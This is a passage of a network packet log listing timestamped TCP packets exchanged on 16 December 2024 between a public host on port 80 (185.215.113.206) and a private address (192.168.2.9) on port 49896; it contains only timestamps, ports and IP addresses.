Dec 16, 2024 10:38:14.338941097 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.338985920 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.339073896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.339128017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.339772940 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.339822054 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.339870930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.339916945 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.340600014 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.340648890 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.340774059 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.340816021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.341454983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.341495991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.341573000 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.341607094 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.342355967 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.342398882 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.342438936 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.342478991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.343296051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.343372107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.343406916 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.343447924 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.344082117 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.344101906 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.344141006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.344161987 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.344918966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.344974041 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.345010996 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.345051050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.345695972 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.345756054 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.345829010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.345874071 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.346550941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.346602917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.346647978 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.346688986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.347398043 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.347453117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.347489119 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.347526073 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.348304987 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.348357916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.348385096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.348423004 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.349069118 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.349117994 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.349215984 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.349256039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.349889994 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.349935055 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.495042086 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.495114088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.495131016 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.495167971 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.495397091 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.495438099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.495508909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.495548010 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.496273041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.496295929 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.496315956 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.496330023 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.497081041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.497123003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.497167110 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.497208118 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.497926950 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.497968912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.498037100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.498075962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.498778105 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.498819113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.498889923 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.498929024 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.499629974 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.499669075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.499715090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.499748945 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.500466108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.500509977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.500514030 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.500554085 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.501296997 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.501347065 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.501420975 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.501462936 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.502165079 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.502219915 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.502342939 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.502388954 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.503025055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.503067970 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.503159046 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.503199100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.503884077 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.503926992 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.504013062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.504053116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.504728079 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.504774094 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.504867077 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.504903078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.505928040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.505975008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.506022930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.506062031 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.506690979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.506736040 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.506769896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.506808996 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.507324934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.507374048 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.507394075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.507433891 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.508162975 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.508204937 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.508280039 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.508321047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.508914948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.508964062 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.509089947 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.509131908 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.509792089 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.509836912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.509941101 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.509983063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.510627031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.510669947 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.510735989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.510776997 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.511564970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.511606932 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.511672020 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.511713028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.512327909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.512371063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.512459993 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.512501001 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.513187885 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.513231039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.513295889 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.513336897 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.513995886 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.514043093 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.514125109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.514172077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.514882088 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.514925957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.514938116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.514976978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.515741110 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.515806913 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.515841007 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.515902042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.516577959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.516625881 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.516664028 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.516702890 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.517424107 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.517481089 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.517496109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.517537117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.518280983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.518340111 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.518382072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.518421888 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.519079924 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.519121885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.519190073 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.519229889 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.519938946 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.519984007 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.520037889 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.520078897 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.520766020 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.520808935 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.520867109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.520912886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.521625996 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.521668911 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.521708012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.521744013 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.522545099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.522586107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.522630930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.522672892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.523406982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.523461103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.523490906 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.523530006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.524302006 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.524316072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.524362087 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.524379969 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.525095940 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.525135994 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.525178909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.525216103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.525985003 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.525998116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.526035070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.526051998 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.526753902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.526767969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.526796103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.526809931 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.527702093 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.527715921 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.527744055 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.527759075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.528625965 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.528639078 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.528671026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.529253006 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.529294014 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.529393911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.529433966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.530193090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.530206919 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.530244112 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.530261993 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.531021118 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.531060934 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.531078100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.531116009 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.531874895 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.531887054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.531908035 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.531924963 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.532785892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.532799959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.532831907 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.532851934 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.533561945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.533606052 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.533678055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.533714056 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.534362078 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.534399986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.534477949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.534518003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.535229921 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.535274982 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.535283089 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.535325050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.536070108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.536084890 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.536113024 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.536128044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.537101984 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.537116051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.537143946 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.537158966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.537821054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.537862062 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.537945986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.537986994 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.538592100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.538639069 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.538671970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.538712978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.539431095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.539477110 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.694008112 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.694060087 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.694111109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.694153070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.694329023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.694363117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.694457054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.694499016 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.695307016 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.695327997 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.695355892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.695378065 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.696013927 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.696055889 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.696126938 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.696162939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.696938038 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.696984053 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.697133064 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.697171926 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.697911024 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.697956085 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.697957039 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.697994947 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.698626041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.698666096 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.698807955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.698936939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.699405909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.699446917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.699477911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.699513912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.700289011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.700345039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.700463057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.700512886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.701164007 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.701215982 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.701225996 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.701261044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.702076912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.702089071 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.702120066 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.702167034 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.702796936 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.702837944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.702919006 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.702958107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.703672886 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.703767061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.703797102 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.703864098 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.704539061 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.704550028 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.704581022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.704608917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.705384970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.705425978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.705459118 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.705493927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.706188917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.706270933 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.706340075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.706415892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.707108974 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.707122087 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.707148075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.707171917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.707868099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.707904100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.707990885 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.708025932 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.708718061 CET	80	49896	185.215.113.206	192.168.2.9
